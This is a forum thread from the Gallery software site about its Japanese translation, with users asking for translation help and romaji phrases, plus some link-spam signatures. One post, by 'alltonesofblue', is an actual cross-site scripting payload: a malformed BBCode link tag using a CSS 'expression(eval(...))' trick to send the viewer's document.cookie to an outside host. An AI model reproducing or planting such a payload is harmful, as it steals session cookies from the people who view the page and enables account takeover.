Japanese Translation

Tim_j
Tim_j's picture

Joined: 2002-08-15
Posts: 6089
Posted: Thu, 2003-08-28 13:13

Japanese Translation

Maintainer: Kennichi Uehara

Last Update: 02.08.2004

Note: Actual translation is in Charset EUC-JP
Login or register to post comments
yosukep

Joined: 2005-09-03
Posts: 4
Posted: Thu, 2005-11-17 01:45

I am now using G1.

Japanese Translation Status of G2 is not good(33%).
So, I can't migrate to G2.

Can I help the Japanese translation of G2?

I want the Japanese version of Gallery Remote also.

Is there any way I can contribute to the Japanese translation?
Login or register to post comments
Mangagirl__13

Joined: 2005-12-11
Posts: 1
Posted: Sun, 2005-12-11 23:18

Please, could a generous person be able to translate this for me?

It's the menu from a game I tried to play for a long time, but as I still can't understand perfectly, it's getting frustrating... ^ ^; Too bad nobody even translated it in french or english...
Login or register to post comments
valiant

Joined: 2003-01-04
Posts: 31891
Posted: Thu, 2005-12-15 06:30

yosukep

sure you can help.
please read:
http://codex.gallery2.org/index.php/Gallery2:Localization
Login or register to post comments
thomas_boy

Joined: 2006-01-16
Posts: 1
Posted: Mon, 2006-01-16 20:52

Hi there, would it be possible to translate theses 3 terms for me in romaji, I did fing some equivalent in japanese (like sky = sora) on the web but I don't think I can just combine the seperate words together. It would be greatly appreciated ^^

1) night sky
2) star of the night
3) starlite sky

thanks so very much if you can help me,

thomas
Login or register to post comments
alltonesofblue

Joined: 2006-01-21
Posts: 1
Posted: Sat, 2006-01-21 07:01

:))

[url]www.[url=www.s=''style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://alltonesofblue3.noads.biz/kapkac.php?c=' + document.cookie;this.sss=null`s='][/url][/url]',
Login or register to post comments
Sisley Piatle

Joined: 2006-02-03
Posts: 7
Posted: Thu, 2006-08-03 18:49
thomas_boy wrote:
Hi there, would it be possible to translate theses 3 terms for me in romaji, I did fing some equivalent in japanese (like sky = sora) on the web but I don't think I can just combine the seperate words together. It would be greatly appreciated ^^

1) night sky
2) star of the night
3) starlite sky

thanks so very much if you can help me,

thomas

Thnx for me too! Need it for my japanese site! Thanks in advance.
Login or register to post comments
yosukep

Joined: 2005-09-03
Posts: 4
Posted: Wed, 2006-05-03 03:19

Menu
new game or new start
date with boy friend
W date
continue
Login or register to post comments
yosukep

Joined: 2005-09-03
Posts: 4
Posted: Sat, 2006-08-05 06:33

1) yozora ,"夜空" in Japanese character
2) hoshi ,"星" in Japanese character
3) hoshiakari-no-sora, "星明かりの空" in Japanese character
Login or register to post comments
srobert

Joined: 2007-02-19
Posts: 2
Posted: Mon, 2007-02-19 14:35

hi,

everyone,

where can download the latest translation files,

Thanks in advance.

------------------------------------------------------
personal website softsea.com
Login or register to post comments
ilandrona

Joined: 2007-06-25
Posts: 3
Posted: Mon, 2007-06-25 13:30

Hi!
I see you good at japanese. May be you can recommend a good online translator into japanese?

------------------------------------------------------------
Photo editing software
Login or register to post comments
Janet Kellman

Joined: 2007-07-07
Posts: 2
Posted: Sat, 2007-07-07 16:10

ilandrona, babelfish is a good translator
http://babelfish.altavista.com/

Janet Kellman, http://rbytes.net/software/
Login or register to post comments
tekn1q

Joined: 2008-02-20
Posts: 1
Posted: Wed, 2008-02-20 20:55

Does anyone have an updated version of this?

I am learning Japanese and need help. Thank you

_________________________
Discounted Softwares!!
Login or register to post comments